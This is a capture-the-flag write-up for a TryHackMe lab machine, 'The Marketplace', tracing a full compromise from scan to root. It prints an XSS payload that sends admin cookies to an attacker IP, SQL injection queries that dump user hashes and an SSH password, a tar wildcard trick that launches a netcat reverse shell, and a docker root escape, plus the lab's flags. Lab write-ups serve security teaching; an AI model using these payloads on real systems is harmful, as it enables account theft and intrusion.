

The Marketplace CTF Write-Up:

Start with a simple nmap scan:

```
# Nmap 7.92 scan initiated Wed Apr 10 12:48:28 2024 as: nmap -sV -sC -oN nmap 10.10.118.140
Nmap scan report for 10.10.118.140
Host is up (0.073s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
|_  256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_  256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp    open  http     nginx 1.19.2
|_ http-server-header: nginx/1.19.2
|_ http-title: The Marketplace
|_ http-robots.txt: 1 disallowed entry
|_ /admin
32768/tcp open  http     Node.js (Express middleware)
|_ http-robots.txt: 1 disallowed entry
|_ /admin
|_ http-title: The Marketplace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Let's check port 80:

The Marketplace [Home](#) | [Log in](#) | [Sign up](#)

Dell Laptop



Published by michael

A cactus



Published by jake

After trying SQLi on the log in page and filed I notice that there is a sign in page , so I try to register and then log in:

Signed up successfully!

Log in

Submit Query

Submit Query

Log in

You're already logged in as moti.

So now I have a new option called 'New Listing', after checking the inputs for vulnerabilities I found a Stored XSS vulnerability :

The Marketplace [Home](#) | [New listing](#) | [Messages](#) | [Log out](#)

Add new listing

```
<script>alert('hacked!')</script>
```

No file selected.

File uploads temporarily disabled due to security issues


Once submitting the query i get the alert 'hacked!':




And now at the home page there is the new post that I just submitted , and every time I click on it I get the prompt 'hacked!'...

[Home](#) | [New listing](#) | [Messages](#) | [Log out](#)

[\('hacked'\)</moti h4ck3r](#)

 No image
Published by moti

 No image
Published by moti



Another thing I notice is the 'Report Listing to admins' option in the post :

[h4ck3r](#)



No Image

Published by moti
Description:
[Contact the listing author](#) | [Report listing to admins](#)

I created another account called moshe and report on the 'h4ck3r' post I posted earlier (the stored XSS) and receive back a message that an admin view the post , so if an admin is viewing the post I can try to steal his cookie ...

From system
Thank you for your report. We have reviewed the listing and found nothing that violates our rules.

From system
Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace!

So, I listed another post with this payload to steal the cookie:

```
<script>var i=new Image();
i.src="http://10.8.41.134/?cookie="+btoa(document.cookie);</script>
```

Add new listing

cookie time ;-)

```
<script>var i=new  
    Image();  
    i.src="http://
```

Browse...

No file selected.

File uploads temporarily disabled due to security issues

Submit Query

Started a python http server to receive the data and view the post to see if I get the cookie:

```
(root@moti-kali) [~/TryHackMe/Linux CTFs/POC CTF's/the_marketplace]
# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.196.125 - - [11/Apr/2024 12:30:38] "GET /?cookie=dG9rZWR4ZXlKaGJHY2lPaUpJVXpJMU5pSXNjb1I1Y0NjNkRlFhQWQ0eS1mVS5fJmZlZS1udRaU9g5XNjblZ6wlhKdV
lXmWxJam9pYlZsAmFHRmxIQ0ZS1u6a2JXBhJanAwY2SWbEdXNSBWFZFPt2pFm01USTROVE13TXpk0S5Gqk3USEnVnJyUuHVBKrtODFXWuXvXTk5bkpaVlRiOVFLBmR0u3hOUHNR HTTP/1
.1" 200 -
```

So, if it works all I need is to report this post and get an admin token:

Admin cookie:

dG9rZW49ZXIKaGJHY2lPaUpjVXpJMU5pSXNJbll1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5U1dRaU9qSXNJblZ6WlhKdVlXMWxJam9pYldsamFHRmxiQ0lzSW1Ga2JXbHVJanAwY25WbExDSnBZWFFpT2pFM01USTROVE14T1RoOS44dmszYjhzQTZYbW15Z0NNN0lR1pDdWlVTFpPUWNCWVpyWGxycnk4QXpV


the cookie is decoded by base64 twice –

1. token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJslnVzZXJuYW11IjoibWljaGFibGlzImFkbWlulj0cnVLLCJpYXQiOiJEMTI1NTMxOTI0Lj8vbk3b8sA6XmmygCM7ldGZCuiULZQOqBYZrXlrry8AzU

this one has three parts separated by dots , the first and second parts are base64 encrypted data on the user:

```
2. {"alg":"HS256","typ":"JWT"},
{"userId":2,"username":"michael","admin":true,"iat":1712853198}
```


So now that I have an admin token I used edit this cookie to use it and logged as Michael (admin user) :




Notice that I have the administrator panel now. And also, we got the first flag:



At the administrator panel I have all the registered users and when I click on one of them I get a user page and notice the url have a parameter 'user=userId':




Test and found an SQLi vulnerability :




Find out how many columns in the table:




So, from the error I understand that there are 4 columns, now union select:




So, it reflect only 1 and 2, now I wanted to get the database name and the user is running it:



Ok , now that I know the database name I can start enumeration with the information_schema:



So there is a table called items. To check what is the next table (because we have only the first one reflected) I just added and != items:



Same a before I added another condition to get the next one:

`union select table_name,table_schema,3,4 from information_schema.tables where table_schema='marketplace' and table_name!='items' and table_name!='messages' -- -`



`union select table_name,table_schema,3,4 from information_schema.tables where table_schema='marketplace' and table_name!='items' and table_name!='messages' and table_name!='users' -- -`

for this I got a bad request so that it!

So, the marketplace data base have three tables :

Items

Messages


Users

I first want to get the users from users table Maby if I am lucky I will find some crackable hashes!

union select column_name,table_name,3,4 from information_schema.columns where table_name='users' -- -



union select column_name,table_name,3,4 from information_schema.columns where table_name='users' and column_name!='id' -- -



union select column_name,table_name,3,4 from information_schema.columns where table_name='users' and column_name!='id' and column_name!='username' -- -




So this is enough for me I have the column username and column password, lets retrieve them:

Union select username,password,3,4 from marketplace.users -- -



Union select username,password,3,4 from marketplace.users where username!='system' -- -



Union select username,password,3,4 from marketplace.users where username!='system' and username!='jake' -- -



Union select username,password,3,4 from marketplace.users where username!='system' and username!='jake' and username!='michael' -- -

User moshe

User \$2b\$10\$ruCIK.Eo/6TnvY/Fyx1RKes7X92RGPYKqjxwJobi64xSsHRukRDSq
ID: moshe
Is administrator: true
[Delete user](#)

Now I got a user I created so I stop save the credentials found in a file , run hashcat and couldn't crack them. So, I continue to inspect the messages table to see if there is something interesting in there:

Union select column_name,table_name,3,4 from information_schema.columns where table_name='messages' -- -

The Marketplace [Home](#) | [Administration panel](#)

User id

User messages
ID: id
Is administrator: true
[Delete user](#)

Union select column_name,table_name,3,4 from information_schema.columns where table_name='messages' and column_name!='id' -- -

The Marketplace [Home](#) | [Administration panel](#)

User user_from

User messages
ID: user_from
Is administrator: true
[Delete user](#)

Union select column_name,table_name,3,4 from information_schema.columns where table_name='messages' and column_name!='id' and column_name!='user_from' -- -

The Marketplace [Home](#) | [Administration panel](#)

User user_to

User messages
ID: user_to
Is administrator: true
[Delete user](#)

Union select column_name,table_name,3,4 from information_schema.columns where table_name='messages' and column_name!='id' and column_name!='user_from' and column_name!='user_to' -- -

The Marketplace [Home](#) | [Administration panel](#)

User message_content

User messages
ID: message_content
Is administrator: true
[Delete user](#)


Union select column_name,table_name,3,4 from information_schema.columns where table_name='messages' and column_name!='id' and column_name!='user_from' and column_name!='user_to' and column_name!='message_content' -- -

Ok, I want to see the message content so I make this query :

Union select message_content,id,3,4 from marketplace.messages -- -

And on the first message I got the ssh password!

Union select message_content,user_to,3,4 from marketplace.messages -- -



But for which username is this password? I check the user_to column and got this:

User 3
ID: Hello! An automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password. Your new password is: @b_ENXkGYUCAv3zJ
Is administrator: true
Delete user

So the user id is 3 lets see who it is:

Union select username,id,3,4 from marketplace.users where id=3 -- -

User 3
ID: jake
Is administrator: true
Delete user

So I logged in to the user jake via ssh:

Jake: @b_ENXkGYUCAv3zJ

```
root@moti-kali: [~/TryHackMe/Linux CTFs/POC CTF's/the_marketplace]
# ssh jake@10.10.20.64
The authenticity of host '10.10.20.64 (10.10.20.64)' can't be established.
ED25519 key fingerprint is SHA256:Rl4+lAmQWEhSKHnbPY/BoNdG16/4xcmIXNI1SrBasm0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.20.64' (ED25519) to the list of known hosts.
jake@10.10.20.64's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
```

The second flag was on jakes home directory:

```
jake@the-marketplace:~$ cat user.txt
THM{c3648ee7af1369676e3e4b15da6dc0b4}
jake@the-marketplace:~$
```


Sudo -l shows an interesting file owned by user Michael and I can run it as Michael :

```
jake@the-marketplace:~$ sudo -l
Matching Defaults entries for jake on the-marketplace:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/

User jake may run the following commands on the-marketplace:
    (michael) NOPASSWD: /opt/backups/backup.sh
```

I view the script and it's a simple scrip that archive with tar all that in this directory, but it using wildcard (*), so I found a nice [article](#) about exploiting tar using wildcard:

```
jake@the-marketplace:~$ cat /opt/backups/backup.sh
#!/bin/bash
echo "Backing up files ... ";
tar cf /opt/backups/backup.tar *
```

This is the payload I used:

```
echo "mkfifo /tmp/lhennp; nc 10.8.41.134 4242 0</tmp/lhennp | /bin/sh >/tmp/lhennp
2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
```

```
jake@the-marketplace:~$ cd /opt/backups/
jake@the-marketplace:/opt/backups$ echo "mkfifo /tmp/lhennp; nc 10.8.41.134 4242 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
jake@the-marketplace:/opt/backups$ echo "" > "--checkpoint-action=exec=sh shell.sh"
jake@the-marketplace:/opt/backups$ echo "" > --checkpoint=1
jake@the-marketplace:/opt/backups$ ls
backup.sh  backup.tar  '--checkpoint=1'  '--checkpoint-action=exec=sh shell.sh'  shell.sh
jake@the-marketplace:/opt/backups$
```

Now I opened a listener on my host and when I run the backup.sh I get a reverse shell with the user Michael:

```
jake@the-marketplace:/opt/backups$ sudo -u michael /opt/backups/backup.sh
Backing up files ...
tar: backup.tar: file is the archive; not dumped
```

```
(root@moti-kali)-[~]
# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.8.41.134] from (UNKNOWN) [10.10.20.64] 53786
whoami
michael
```

Upgrade the shell:

```
export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'
michael@the-marketplace:/opt/backups$
```

CTR+Z

```
(root@moti-kali)-[~]
# stty raw -echo; fg
[1] + continued nc -nlvp 4242
reset
```

Now I check the user groups and find that the user Michael is on docker group:

```
michael@the-marketplace:~$ id
uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)
```

GTFOBins suggest:

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The resulting is a root shell.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

I try and it worked!

```
michael@the-marketplace:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
#
```

Retrieve the root flag :

```
# cat /root/root.txt
THM{d4f76179c80c0dcf46e0f8e43c9abd62}
```